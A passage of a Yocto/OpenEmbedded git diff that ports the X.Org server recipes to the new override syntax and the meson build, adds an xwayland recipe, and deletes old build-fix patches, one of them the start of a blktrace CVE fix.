@@ -9,10 +9,10 @@ SRC_URI = "file://xorg.conf"
S = "${WORKDIR}"
-CONFFILES_${PN} = "${sysconfdir}/X11/xorg.conf"
+CONFFILES:${PN} = "${sysconfdir}/X11/xorg.conf"
PACKAGE_ARCH = "${MACHINE_ARCH}"
-ALLOW_EMPTY_${PN} = "1"
+ALLOW_EMPTY:${PN} = "1"
do_install () {
if test -s ${WORKDIR}/xorg.conf; then
diff --git a/meta/recipes-graphics/xorg-xserver/xserver-xorg.inc b/meta/recipes-graphics/xorg-xserver/xserver-xorg.inc
index b3e03744c0..7d1f17e777 100644
--- a/meta/recipes-graphics/xorg-xserver/xserver-xorg.inc
+++ b/meta/recipes-graphics/xorg-xserver/xserver-xorg.inc
@@ -15,18 +15,20 @@ PROVIDES += "virtual/xserver"
PE = "2"
XORG_PN = "xorg-server"
-SRC_URI = "${XORG_MIRROR}/individual/xserver/${XORG_PN}-${PV}.tar.bz2"
+SRC_URI = "${XORG_MIRROR}/individual/xserver/${XORG_PN}-${PV}.tar.xz"
+
+UPSTREAM_CHECK_REGEX = "xorg-server-(?P<pver>\d+(\.(?!99)\d+)+)\.tar"
CVE_PRODUCT = "xorg-server"
S = "${WORKDIR}/${XORG_PN}-${PV}"
-inherit autotools pkgconfig
+inherit meson pkgconfig
inherit features_check
REQUIRED_DISTRO_FEATURES = "x11"
-LIB_DEPS = "pixman libxfont2 xtrans libxau libxext libxdmcp libdrm libxkbfile libpciaccess"
+LIB_DEPS = "pixman libxfont2 xtrans libxau libxext libxdmcp libdrm libxkbfile libpciaccess libxcvt libtirpc"
DEPENDS = "xorgproto ${LIB_DEPS} font-util"
# Split out some modules and extensions from the main package
@@ -67,96 +69,80 @@ PACKAGES =+ "${PN}-sdl \
${PN}-module-libxf4bpp \
xf86-video-modesetting"
-SUMMARY_xf86-video-modesetting = "X.Org X server -- modesetting display driver"
-INSANE_SKIP_${MLPREFIX}xf86-video-modesetting = "xorg-driver-abi"
+SUMMARY:xf86-video-modesetting = "X.Org X server -- modesetting display driver"
+INSANE_SKIP:${MLPREFIX}xf86-video-modesetting = "xorg-driver-abi"
XSERVER_RRECOMMENDS = "xkeyboard-config rgb xserver-xf86-config xkbcomp xf86-input-libinput"
-RRECOMMENDS_${PN} += "${XSERVER_RRECOMMENDS}"
-RRECOMMENDS_${PN}-xwayland += "${XSERVER_RRECOMMENDS}"
-RDEPENDS_${PN}-xvfb += "xkeyboard-config"
-RDEPENDS_${PN}-module-exa = "${PN} (= ${EXTENDPKGV})"
-
-FILES_${PN} = "${bindir} ${libdir}/X11/Options ${libdir}/X11/Cards ${libdir}/X11/getconfig ${libdir}/X11/etc ${libdir}/modules/*.so ${libdir}/xorg/modules/*.so /etc/X11 ${libdir}/xorg/protocol.txt ${datadir}/X11/xorg.conf.d"
-FILES_${PN}-dev += "${libdir}/xorg/modules/*.la ${libdir}/xorg/modules/*/*.la"
-FILES_${PN}-doc += "${libdir}/X11/doc ${datadir}/X11/xkb/compiled/README.compiled ${localstatedir}/lib/xkb/README.compiled"
-FILES_${PN}-sdl = "${bindir}/Xsdl"
-FILES_${PN}-fbdev = "${bindir}/Xfbdev"
-FILES_${PN}-xvfb = "${bindir}/Xvfb"
-FILES_${PN}-utils = "${bindir}/scanpci ${bindir}/pcitweak ${bindir}/ioport ${bindir}/in[bwl] ${bindir}/out[bwl] ${bindir}/mmap[rw] ${bindir}/gtf ${bindir}/getconfig ${bindir}/getconfig.pl"
-FILES_${PN}-xephyr = "${bindir}/Xephyr"
-FILES_${PN}-xwayland = "${bindir}/Xwayland"
-FILES_${PN}-multimedia-modules = "${libdir}/xorg/modules/multimedia/*drv*"
-FILES_${PN}-extension-dri = "${libdir}/xorg/modules/extensions/libdri.so"
-FILES_${PN}-extension-dri2 = "${libdir}/xorg/modules/extensions/libdri2.so"
-FILES_${PN}-extension-glx = "${libdir}/xorg/modules/extensions/libglx.so"
-FILES_${PN}-extension-record = "${libdir}/xorg/modules/extensions/librecord.so"
-FILES_${PN}-extension-extmod = "${libdir}/xorg/modules/extensions/libextmod.so"
-FILES_${PN}-extension-dbe = "${libdir}/xorg/modules/extensions/libdbe.so"
-FILES_${PN}-module-libint10 = "${libdir}/xorg/modules/libint10.so"
-FILES_${PN}-module-libafb = "${libdir}/xorg/modules/libafb.so"
-FILES_${PN}-module-libwfb = "${libdir}/xorg/modules/libwfb.so"
-FILES_${PN}-module-libmfb = "${libdir}/xorg/modules/libmfb.so"
-FILES_${PN}-module-libcfb = "${libdir}/xorg/modules/libcfb.so"
-FILES_${PN}-module-exa = "${libdir}/xorg/modules/libexa.so"
-FILES_${PN}-module-xaa = "${libdir}/xorg/modules/libxaa.so"
-FILES_${PN}-module-libxf1bpp = "${libdir}/xorg/modules/libxf1bpp.so"
-FILES_${PN}-module-libxf4bpp = "${libdir}/xorg/modules/libxf4bpp.so"
-FILES_xf86-video-modesetting = "${libdir}/xorg/modules/drivers/modesetting_drv.so"
-
-EXTRA_OECONF += "--with-fop=no \
- --with-pic \
- --disable-static \
- --disable-record \
- --disable-dmx \
- --disable-xnest \
- --enable-xvfb \
- --enable-composite \
- --without-dtrace \
- --with-int10=x86emu \
- --sysconfdir=/etc/X11 \
- --localstatedir=/var \
- --with-xkb-output=/var/lib/xkb \
- --with-os-name=Linux \
+RRECOMMENDS:${PN} += "${XSERVER_RRECOMMENDS}"
+RRECOMMENDS:${PN}-xwayland += "${XSERVER_RRECOMMENDS}"
+RDEPENDS:${PN}-xvfb += "xkeyboard-config"
+RDEPENDS:${PN}-module-exa = "${PN} (= ${EXTENDPKGV})"
+
+FILES:${PN} = "${bindir} ${libdir}/X11/Options ${libdir}/X11/Cards ${libdir}/X11/getconfig ${libdir}/X11/etc ${libdir}/modules/*.so ${libdir}/xorg/modules/input/*.so ${libdir}/xorg/modules/*.so /etc/X11 ${libdir}/xorg/protocol.txt ${datadir}/X11/xorg.conf.d"
+FILES:${PN}-dev += "${libdir}/xorg/modules/*.la ${libdir}/xorg/modules/*/*.la"
+FILES:${PN}-doc += "${libdir}/X11/doc ${datadir}/X11/xkb/compiled/README.compiled ${localstatedir}/lib/xkb/README.compiled"
+FILES:${PN}-sdl = "${bindir}/Xsdl"
+FILES:${PN}-fbdev = "${bindir}/Xfbdev"
+FILES:${PN}-xvfb = "${bindir}/Xvfb"
+FILES:${PN}-utils = "${bindir}/scanpci ${bindir}/pcitweak ${bindir}/ioport ${bindir}/in[bwl] ${bindir}/out[bwl] ${bindir}/mmap[rw] ${bindir}/gtf ${bindir}/getconfig ${bindir}/getconfig.pl"
+FILES:${PN}-xephyr = "${bindir}/Xephyr"
+FILES:${PN}-xwayland = "${bindir}/Xwayland"
+FILES:${PN}-multimedia-modules = "${libdir}/xorg/modules/multimedia/*drv*"
+FILES:${PN}-extension-dri = "${libdir}/xorg/modules/extensions/libdri.so"
+FILES:${PN}-extension-dri2 = "${libdir}/xorg/modules/extensions/libdri2.so"
+FILES:${PN}-extension-glx = "${libdir}/xorg/modules/extensions/libglx.so"
+FILES:${PN}-extension-record = "${libdir}/xorg/modules/extensions/librecord.so"
+FILES:${PN}-extension-extmod = "${libdir}/xorg/modules/extensions/libextmod.so"
+FILES:${PN}-extension-dbe = "${libdir}/xorg/modules/extensions/libdbe.so"
+FILES:${PN}-module-libint10 = "${libdir}/xorg/modules/libint10.so"
+FILES:${PN}-module-libafb = "${libdir}/xorg/modules/libafb.so"
+FILES:${PN}-module-libwfb = "${libdir}/xorg/modules/libwfb.so"
+FILES:${PN}-module-libmfb = "${libdir}/xorg/modules/libmfb.so"
+FILES:${PN}-module-libcfb = "${libdir}/xorg/modules/libcfb.so"
+FILES:${PN}-module-exa = "${libdir}/xorg/modules/libexa.so"
+FILES:${PN}-module-xaa = "${libdir}/xorg/modules/libxaa.so"
+FILES:${PN}-module-libxf1bpp = "${libdir}/xorg/modules/libxf1bpp.so"
+FILES:${PN}-module-libxf4bpp = "${libdir}/xorg/modules/libxf4bpp.so"
+FILES:xf86-video-modesetting = "${libdir}/xorg/modules/drivers/modesetting_drv.so"
+
+EXTRA_OEMESON += " \
+ -Dxnest=false \
+ -Dxvfb=true \
+ -Ddtrace=false \
+ -Dint10=x86emu \
+ -Dxkb_output_dir=/var/lib/xkb \
"
-OPENGL_PKGCONFIGS = "dri glx glamor dri3 xshmfence"
+OPENGL_PKGCONFIGS = "dri glx glamor dri3"
PACKAGECONFIG ??= "dga dri2 udev ${XORG_CRYPTO} \
${@bb.utils.contains('DISTRO_FEATURES', 'opengl', '${OPENGL_PKGCONFIGS}', '', d)} \
- ${@bb.utils.contains('DISTRO_FEATURES', 'opengl wayland', 'xwayland', '', d)} \
- ${@bb.utils.contains('DISTRO_FEATURES', 'systemd', 'systemd systemd-logind', '', d)} \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'systemd', 'systemd-logind', '', d)} \
"
-PACKAGECONFIG[udev] = "--enable-config-udev,--disable-config-udev,udev"
-PACKAGECONFIG[dga] = "--enable-dga,--disable-dga"
-PACKAGECONFIG[dri] = "--enable-dri,--disable-dri,virtual/mesa"
-PACKAGECONFIG[dri2] = "--enable-dri2,--disable-dri2"
-# DRI3 requires xshmfence to also be enabled
-PACKAGECONFIG[dri3] = "--enable-dri3,--disable-dri3"
-PACKAGECONFIG[glx] = "--enable-glx,--disable-glx,virtual/libgl virtual/libx11"
-PACKAGECONFIG[glamor] = "--enable-glamor,--disable-glamor,libepoxy virtual/libgbm,libegl"
-PACKAGECONFIG[unwind] = "--enable-libunwind,--disable-libunwind,libunwind"
-PACKAGECONFIG[xshmfence] = "--enable-xshmfence,--disable-xshmfence,libxshmfence"
-PACKAGECONFIG[xmlto] = "--with-xmlto, --without-xmlto, xmlto-native docbook-xml-dtd4-native docbook-xsl-stylesheets-native"
-PACKAGECONFIG[systemd-logind] = "--enable-systemd-logind=yes,--enable-systemd-logind=no,dbus,"
-PACKAGECONFIG[systemd] = "--with-systemd-daemon,--without-systemd-daemon,systemd"
-PACKAGECONFIG[xinerama] = "--enable-xinerama,--disable-xinerama"
-PACKAGECONFIG[xwayland] = "--enable-xwayland,--disable-xwayland,wayland wayland-native wayland-protocols libepoxy"
+PACKAGECONFIG[udev] = "-Dudev=true,-Dudev=false,udev"
+PACKAGECONFIG[dga] = "-Ddga=true,-Ddga=false"
+PACKAGECONFIG[dri] = "-Ddri1=true,-Ddri1=false,virtual/mesa"
+PACKAGECONFIG[dri2] = "-Ddri2=true,-Ddri2=false"
+PACKAGECONFIG[dri3] = "-Ddri3=true,-Ddri3=false"
+PACKAGECONFIG[glx] = "-Dglx=true,-Dglx=false,virtual/libgl virtual/libx11"
+PACKAGECONFIG[glamor] = "-Dglamor=true,-Dglamor=false,libepoxy virtual/libgbm,libegl"
+PACKAGECONFIG[unwind] = "-Dlibunwind=true,-Dlibunwind=false,libunwind"
+PACKAGECONFIG[systemd-logind] = "-Dsystemd_logind=true,-Dsystemd_logind=false,dbus,"
+PACKAGECONFIG[xinerama] = "-Dxinerama=true,-Dxinerama=false"
# Xorg requires a SHA1 implementation, pick one
XORG_CRYPTO ??= "openssl"
-PACKAGECONFIG[openssl] = "--with-sha1=libcrypto,,openssl"
-PACKAGECONFIG[nettle] = "--with-sha1=libnettle,,nettle"
-PACKAGECONFIG[gcrypt] = "--with-sha1=libgcrypt,,libgcrypt"
+PACKAGECONFIG[openssl] = "-Dsha1=libcrypto,,openssl"
+PACKAGECONFIG[nettle] = "-Dsha1=libnettle,,nettle"
+PACKAGECONFIG[gcrypt] = "-Dsha1=libgcrypt,,libgcrypt"
-do_install_append () {
- # Its assumed base-files creates this for us
- rmdir ${D}${localstatedir}/log/
+do_install:append () {
sed -i -e 's,${libdir}/xorg/modules,${prefix}/lib*/xorg/modules,' ${D}${mandir}/man5/xorg.conf.5
}
# Add runtime provides for the ABI versions of the video and input subsystems,
# so that drivers can depend on the relevant version.
-python populate_packages_prepend() {
+python populate_packages:prepend() {
import subprocess
# Set PKG_CONFIG_PATH so pkg-config looks at the .pc files that are going
@@ -177,6 +163,6 @@ python populate_packages_prepend() {
return "%sxorg-abi-%s-%s" % (mlprefix, name, output)
pn = d.getVar("PN")
- d.appendVar("RPROVIDES_" + pn, " " + get_abi("input"))
- d.appendVar("RPROVIDES_" + pn, " " + get_abi("video"))
+ d.appendVar("RPROVIDES:" + pn, " " + get_abi("input"))
+ d.appendVar("RPROVIDES:" + pn, " " + get_abi("video"))
}
diff --git a/meta/recipes-graphics/xorg-xserver/xserver-xorg/0001-Avoid-duplicate-definitions-of-IOPortBase.patch b/meta/recipes-graphics/xorg-xserver/xserver-xorg/0001-Avoid-duplicate-definitions-of-IOPortBase.patch
index 4737040675..11d5546537 100644
--- a/meta/recipes-graphics/xorg-xserver/xserver-xorg/0001-Avoid-duplicate-definitions-of-IOPortBase.patch
+++ b/meta/recipes-graphics/xorg-xserver/xserver-xorg/0001-Avoid-duplicate-definitions-of-IOPortBase.patch
@@ -1,4 +1,4 @@
-From fc04acfd948ac99d04a5dc08c78f3b13bc0c5c41 Mon Sep 17 00:00:00 2001
+From ce3b8a230a3805c9b557c1f106795675bd034860 Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Mon, 17 Aug 2020 10:50:51 -0700
Subject: [PATCH] Avoid duplicate definitions of IOPortBase
@@ -10,26 +10,13 @@ compiler.h:528: multiple definition of `IOPortBase';
Upstream-Status: Pending
Signed-off-by: Khem Raj <raj.khem@gmail.com>
+
---
- hw/xfree86/common/compiler.h | 2 +-
hw/xfree86/os-support/linux/lnx_video.c | 1 +
- 2 files changed, 2 insertions(+), 1 deletion(-)
+ 1 file changed, 1 insertion(+)
-diff --git a/hw/xfree86/common/compiler.h b/hw/xfree86/common/compiler.h
-index 2b2008b..c7d617e 100644
---- a/hw/xfree86/common/compiler.h
-+++ b/hw/xfree86/common/compiler.h
-@@ -525,7 +525,7 @@ xf86WriteMmio32Le(__volatile__ void *base, const unsigned long offset,
- #define PORT_SIZE short
- #endif
-
--_X_EXPORT unsigned int IOPortBase; /* Memory mapped I/O port area */
-+extern _X_EXPORT unsigned int IOPortBase; /* Memory mapped I/O port area */
-
- static __inline__ void
- outb(unsigned PORT_SIZE port, unsigned char val)
diff --git a/hw/xfree86/os-support/linux/lnx_video.c b/hw/xfree86/os-support/linux/lnx_video.c
-index 04e4509..9dc7316 100644
+index fd83022..1d0d96e 100644
--- a/hw/xfree86/os-support/linux/lnx_video.c
+++ b/hw/xfree86/os-support/linux/lnx_video.c
@@ -78,6 +78,7 @@ xf86OSInitVidMem(VidMemInfoPtr pVidMem)
@@ -40,6 +27,3 @@ index 04e4509..9dc7316 100644
#if defined(__powerpc__)
volatile unsigned char *ioBase = NULL;
---
-2.28.0
-
diff --git a/meta/recipes-graphics/xorg-xserver/xserver-xorg/0001-Fix-segfault-on-probing-a-non-PCI-platform-device-on.patch b/meta/recipes-graphics/xorg-xserver/xserver-xorg/0001-Fix-segfault-on-probing-a-non-PCI-platform-device-on.patch
deleted file mode 100644
index 8b687d612d..0000000000
--- a/meta/recipes-graphics/xorg-xserver/xserver-xorg/0001-Fix-segfault-on-probing-a-non-PCI-platform-device-on.patch
+++ /dev/null
@@ -1,34 +0,0 @@
-From e50c85f4ebf559a3bac4817b41074c43d4691779 Mon Sep 17 00:00:00 2001
-From: Eric Anholt <eric@anholt.net>
-Date: Fri, 26 Oct 2018 17:47:30 -0700
-Subject: [PATCH] Fix segfault on probing a non-PCI platform device on a system
- with PCI.
-
-Some Broadcom set-top-box boards have PCI busses, but the GPU is still
-probed through DT. We would dereference a null busid here in that
-case.
-
-Signed-off-by: Eric Anholt <eric@anholt.net>
-
-Upstream-Status: Backport [https://github.com/freedesktop/xorg-xserver/commit/e50c85f4e]
-Signed-off-by: Aníbal Limón <anibal.limon@linaro.org>
----
- hw/xfree86/common/xf86platformBus.c | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/hw/xfree86/common/xf86platformBus.c b/hw/xfree86/common/xf86platformBus.c
-index cef47da03..dadbac6c8 100644
---- a/hw/xfree86/common/xf86platformBus.c
-+++ b/hw/xfree86/common/xf86platformBus.c
-@@ -289,7 +289,7 @@ xf86platformProbe(void)
- for (i = 0; i < xf86_num_platform_devices; i++) {
- char *busid = xf86_platform_odev_attributes(i)->busid;
-
-- if (pci && (strncmp(busid, "pci:", 4) == 0)) {
-+ if (pci && busid && (strncmp(busid, "pci:", 4) == 0)) {
- platform_find_pci_info(&xf86_platform_devices[i], busid);
- }
-
---
-2.28.0
-
diff --git a/meta/recipes-graphics/xorg-xserver/xserver-xorg/0001-drmmode_display.c-add-missing-mi.h-include.patch b/meta/recipes-graphics/xorg-xserver/xserver-xorg/0001-drmmode_display.c-add-missing-mi.h-include.patch
deleted file mode 100644
index 4b8e43f1e4..0000000000
--- a/meta/recipes-graphics/xorg-xserver/xserver-xorg/0001-drmmode_display.c-add-missing-mi.h-include.patch
+++ /dev/null
@@ -1,23 +0,0 @@
-From 84338444179cab7ede1252a11b66e3b8f657e6a4 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Fri, 7 Feb 2020 20:36:45 +0100
-Subject: [PATCH] drmmode_display.c: add missing mi.h include
-
-Upstream-Status: Pending
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- hw/xfree86/drivers/modesetting/drmmode_display.c | 1 +
- 1 file changed, 1 insertion(+)
-
-diff --git a/hw/xfree86/drivers/modesetting/drmmode_display.c b/hw/xfree86/drivers/modesetting/drmmode_display.c
-index e18cc37..3445cce 100644
---- a/hw/xfree86/drivers/modesetting/drmmode_display.c
-+++ b/hw/xfree86/drivers/modesetting/drmmode_display.c
-@@ -46,6 +46,7 @@
- #include "xf86Crtc.h"
- #include "drmmode_display.h"
- #include "present.h"
-+#include "mi.h"
-
- #include <cursorstr.h>
-
diff --git a/meta/recipes-graphics/xorg-xserver/xserver-xorg/0001-test-xtest-Initialize-array-with-braces.patch b/meta/recipes-graphics/xorg-xserver/xserver-xorg/0001-test-xtest-Initialize-array-with-braces.patch
deleted file mode 100644
index c0c242814b..0000000000
--- a/meta/recipes-graphics/xorg-xserver/xserver-xorg/0001-test-xtest-Initialize-array-with-braces.patch
+++ /dev/null
@@ -1,36 +0,0 @@
-From 8a382c015cd3c69fcfc146ef03dcbf30c77ff207 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Fri, 1 Mar 2019 09:47:57 -0800
-Subject: [PATCH] test/xtest: Initialize array with braces
-
-Fixes an error when extra warnings are enabled, this is caught with clang
-
-test/xtest.c:64:23: error: suggest braces around initialization of subobject [-Werror,-Wmissing-braces]
- WindowRec root = {0};
- ^
- {}
-1 error generated.
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- test/xtest.c | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/test/xtest.c b/test/xtest.c
-index fc5e433..d7e6620 100644
---- a/test/xtest.c
-+++ b/test/xtest.c
-@@ -61,7 +61,7 @@ xtest_init_devices(void)
- {
- ScreenRec screen = {0};
- ClientRec server_client = {0};
-- WindowRec root = {0};
-+ WindowRec root = {{0}};
- WindowOptRec optional = {0};
-
- /* random stuff that needs initialization */
---
-2.21.0
-
diff --git a/meta/recipes-graphics/xorg-xserver/xserver-xorg/pkgconfig.patch b/meta/recipes-graphics/xorg-xserver/xserver-xorg/pkgconfig.patch
deleted file mode 100644
index 2ef9fa9fe4..0000000000
--- a/meta/recipes-graphics/xorg-xserver/xserver-xorg/pkgconfig.patch
+++ /dev/null
@@ -1,34 +0,0 @@
-Upstream-Status: Submitted [https://gitlab.freedesktop.org/xorg/xserver/merge_requests/22]
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-
-From 5f65a6246fe752764045dd1e38912f1dccec71e4 Mon Sep 17 00:00:00 2001
-From: Ross Burton <ross.burton@intel.com>
-Date: Thu, 20 Sep 2018 20:12:24 +0100
-Subject: [PATCH] xorg-server.m4: just all cflags instead of just sdkdir
-
-Instead of fetching just the sdkdir variable of xorg-server using pkg-config,
-simply get all of the CFLAGS. Aside from completeness, this helps builds in
-sysroots as pkg-config knows what to do with --cflags but doesn't remap
-arbitrary variables.
-
-Signed-off-by: Ross Burton <ross.burton@intel.com>
----
- xorg-server.m4 | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/xorg-server.m4 b/xorg-server.m4
-index 18255b91a..195bda5d8 100644
---- a/xorg-server.m4
-+++ b/xorg-server.m4
-@@ -31,7 +31,7 @@ dnl
- AC_DEFUN([XORG_DRIVER_CHECK_EXT],[
- AC_REQUIRE([PKG_PROG_PKG_CONFIG])
- SAVE_CFLAGS="$CFLAGS"
-- CFLAGS="$CFLAGS -I`$PKG_CONFIG --variable=sdkdir xorg-server`"
-+ CFLAGS="$CFLAGS `$PKG_CONFIG --cflags xorg-server`"
- AC_COMPILE_IFELSE([AC_LANG_PROGRAM([[
- #include "xorg-server.h"
- #if !defined $1
---
-2.11.0
-
diff --git a/meta/recipes-graphics/xorg-xserver/xserver-xorg/sdksyms-no-build-path.patch b/meta/recipes-graphics/xorg-xserver/xserver-xorg/sdksyms-no-build-path.patch
deleted file mode 100644
index be198ece49..0000000000
--- a/meta/recipes-graphics/xorg-xserver/xserver-xorg/sdksyms-no-build-path.patch
+++ /dev/null
@@ -1,50 +0,0 @@
-Upstream-Status: Backport [https://gitlab.freedesktop.org/xorg/xserver/merge_requests/253]
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-
-From ca832598d38ba55a001088b57d73c6d7261dc9a7 Mon Sep 17 00:00:00 2001
-From: Ross Burton <ross.burton@intel.com>
-Date: Thu, 1 Aug 2019 15:24:51 +0100
-Subject: [PATCH] sdksyms.sh: don't embed the build path
-
-This script generates a header that has a comment containing the build path for
-no real reason. As this source can end up deployed on targets in debug packages
-this means there is both potentially sensitive information leakage about the
-build environment, and a source of change for reproducible builds.
----
- hw/xfree86/sdksyms.sh | 7 +++++--
- 1 file changed, 5 insertions(+), 2 deletions(-)
-
-diff --git a/hw/xfree86/sdksyms.sh b/hw/xfree86/sdksyms.sh
-index 39e33711d..bdf47a71a 100755
---- a/hw/xfree86/sdksyms.sh
-+++ b/hw/xfree86/sdksyms.sh
-@@ -302,13 +302,16 @@ LC_ALL=C
- export LC_ALL
- ${CPP:-cpp} "$@" sdksyms.c > /dev/null || exit $?
- ${CPP:-cpp} "$@" sdksyms.c | ${AWK:-awk} -v topdir=$topdir '
-+function basename(file) {
-+ sub(".*/", "", file)
-+ return file
-+}
- BEGIN {
- sdk = 0;
- print("/*");
- print(" * These symbols are referenced to ensure they");
- print(" * will be available in the X Server binary.");
- print(" */");
-- printf("/* topdir=%s */\n", topdir);
- print("_X_HIDDEN void *xorg_symbols[] = {");
-
- printf("sdksyms.c:") > "sdksyms.dep";
-@@ -337,7 +340,7 @@ BEGIN {
- # remove quotes
- gsub(/"/, "", $3);
- line = $2;
-- header = $3;
-+ header = basename($3);
- if (! headers[$3]) {
- printf(" \\\n %s", $3) >> "sdksyms.dep";
- headers[$3] = 1;
---
-2.20.1
-
diff --git a/meta/recipes-graphics/xorg-xserver/xserver-xorg_1.20.9.bb b/meta/recipes-graphics/xorg-xserver/xserver-xorg_1.20.9.bb
deleted file mode 100644
index c83e43ed99..0000000000
--- a/meta/recipes-graphics/xorg-xserver/xserver-xorg_1.20.9.bb
+++ /dev/null
@@ -1,33 +0,0 @@
-require xserver-xorg.inc
-
-SRC_URI += "file://0001-xf86pciBus.c-use-Intel-ddx-only-for-pre-gen4-hardwar.patch \
- file://pkgconfig.patch \
- file://0001-test-xtest-Initialize-array-with-braces.patch \
- file://sdksyms-no-build-path.patch \
- file://0001-drmmode_display.c-add-missing-mi.h-include.patch \
- file://0001-Avoid-duplicate-definitions-of-IOPortBase.patch \
- file://0001-Fix-segfault-on-probing-a-non-PCI-platform-device-on.patch \
- "
-SRC_URI[sha256sum] = "e219f2e0dfe455467939149d7cd2ee53b79b512cc1d2094ae4f5c9ed9ccd3571"
-
-# These extensions are now integrated into the server, so declare the migration
-# path for in-place upgrades.
-
-RREPLACES_${PN} = "${PN}-extension-dri \
- ${PN}-extension-dri2 \
- ${PN}-extension-record \
- ${PN}-extension-extmod \
- ${PN}-extension-dbe \
- "
-RPROVIDES_${PN} = "${PN}-extension-dri \
- ${PN}-extension-dri2 \
- ${PN}-extension-record \
- ${PN}-extension-extmod \
- ${PN}-extension-dbe \
- "
-RCONFLICTS_${PN} = "${PN}-extension-dri \
- ${PN}-extension-dri2 \
- ${PN}-extension-record \
- ${PN}-extension-extmod \
- ${PN}-extension-dbe \
- "
diff --git a/meta/recipes-graphics/xorg-xserver/xserver-xorg_21.1.1.bb b/meta/recipes-graphics/xorg-xserver/xserver-xorg_21.1.1.bb
new file mode 100644
index 0000000000..196d1edff5
--- /dev/null
+++ b/meta/recipes-graphics/xorg-xserver/xserver-xorg_21.1.1.bb
@@ -0,0 +1,28 @@
+require xserver-xorg.inc
+
+SRC_URI += "file://0001-xf86pciBus.c-use-Intel-ddx-only-for-pre-gen4-hardwar.patch \
+ file://0001-Avoid-duplicate-definitions-of-IOPortBase.patch \
+ "
+SRC_URI[sha256sum] = "782e7fef2ca0c7cbe60a937b8bf42dac69c904fb841950fd0363e1c2346ea755"
+
+# These extensions are now integrated into the server, so declare the migration
+# path for in-place upgrades.
+
+RREPLACES:${PN} = "${PN}-extension-dri \
+ ${PN}-extension-dri2 \
+ ${PN}-extension-record \
+ ${PN}-extension-extmod \
+ ${PN}-extension-dbe \
+ "
+RPROVIDES:${PN} = "${PN}-extension-dri \
+ ${PN}-extension-dri2 \
+ ${PN}-extension-record \
+ ${PN}-extension-extmod \
+ ${PN}-extension-dbe \
+ "
+RCONFLICTS:${PN} = "${PN}-extension-dri \
+ ${PN}-extension-dri2 \
+ ${PN}-extension-record \
+ ${PN}-extension-extmod \
+ ${PN}-extension-dbe \
+ "
diff --git a/meta/recipes-graphics/xwayland/xwayland_21.1.3.bb b/meta/recipes-graphics/xwayland/xwayland_21.1.3.bb
new file mode 100644
index 0000000000..5d083e8ada
--- /dev/null
+++ b/meta/recipes-graphics/xwayland/xwayland_21.1.3.bb
@@ -0,0 +1,44 @@
+SUMMARY = "XWayland is an X Server that runs under Wayland."
+DESCRIPTION = "XWayland is an X Server running as a Wayland client, \
+and thus is capable of displaying native X11 client applications in a \
+Wayland compositor environment. The goal of XWayland is to facilitate \
+the transition from X Window System to Wayland environments, providing \
+a way to run unported applications in the meantime."
+HOMEPAGE = "https://fedoraproject.org/wiki/Changes/XwaylandStandalone"
+
+LICENSE = "MIT-X"
+LIC_FILES_CHKSUM = "file://COPYING;md5=5df87950af51ac2c5822094553ea1880"
+
+SRC_URI = "https://www.x.org/archive/individual/xserver/xwayland-${PV}.tar.xz"
+SRC_URI[sha256sum] = "ebc2757f39fd4c7db1654fd86591589c211aa20172d43a54f77ae567cedbf8a2"
+
+UPSTREAM_CHECK_REGEX = "xwayland-(?P<pver>\d+(\.(?!90\d)\d+)+)\.tar"
+
+inherit meson features_check pkgconfig
+REQUIRED_DISTRO_FEATURES = "x11 opengl"
+
+DEPENDS += "xorgproto xtrans pixman libxkbfile libxfont2 wayland wayland-native wayland-protocols libdrm libepoxy"
+
+OPENGL_PKGCONFIGS = "glx glamor dri3"
+PACKAGECONFIG ??= "${XORG_CRYPTO} \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'opengl', '${OPENGL_PKGCONFIGS}', '', d)} \
+"
+PACKAGECONFIG[dri3] = "-Ddri3=true,-Ddri3=false"
+PACKAGECONFIG[glx] = "-Dglx=true,-Dglx=false,virtual/libgl virtual/libx11"
+PACKAGECONFIG[glamor] = "-Dglamor=true,-Dglamor=false,libepoxy virtual/libgbm,libegl"
+PACKAGECONFIG[unwind] = "-Dlibunwind=true,-Dlibunwind=false,libunwind"
+PACKAGECONFIG[xinerama] = "-Dxinerama=true,-Dxinerama=false"
+
+# Xorg requires a SHA1 implementation, pick one
+XORG_CRYPTO ??= "openssl"
+PACKAGECONFIG[openssl] = "-Dsha1=libcrypto,,openssl"
+PACKAGECONFIG[nettle] = "-Dsha1=libnettle,,nettle"
+PACKAGECONFIG[gcrypt] = "-Dsha1=libgcrypt,,libgcrypt"
+
+do_install:append() {
+ # remove files not needed and clashing with xserver-xorg
+ rm -rf ${D}/${libdir}/xorg/
+}
+
+FILES:${PN} += "${libdir}/xorg/protocol.txt"
+
diff --git a/meta/recipes-kernel/blktrace/blktrace/CVE-2018-10689.patch b/meta/recipes-kernel/blktrace/blktrace/CVE-2018-10689.patch
deleted file mode 100644
index 7b58568d59..0000000000
--- a/meta/recipes-kernel/blktrace/blktrace/CVE-2018-10689.patch
+++ /dev/null
@@ -1,150 +0,0 @@
-From d61ff409cb4dda31386373d706ea0cfb1aaac5b7 Mon Sep 17 00:00:00 2001
-From: Jens Axboe <axboe@kernel.dk>
-Date: Wed, 2 May 2018 10:24:17 -0600
-Subject: [PATCH] btt: make device/devno use PATH_MAX to avoid overflow
-
-Herbo Zhang reports:
-
-I found a bug in blktrace/btt/devmap.c. The code is just as follows:
-
-https://git.kernel.org/pub/scm/linux/kernel/git/axboe/blktrace.git/tree/btt/devmap.c?id=8349ad2f2d19422a6241f94ea84d696b21de4757
-
- struct devmap {
-
-struct list_head head;
-char device[32], devno[32]; // #1
-};
-
-LIST_HEAD(all_devmaps);
-
-static int dev_map_add(char *line)
-{
-struct devmap *dmp;
-
-if (strstr(line, "Device") != NULL)
-return 1;
-
-dmp = malloc(sizeof(struct devmap));
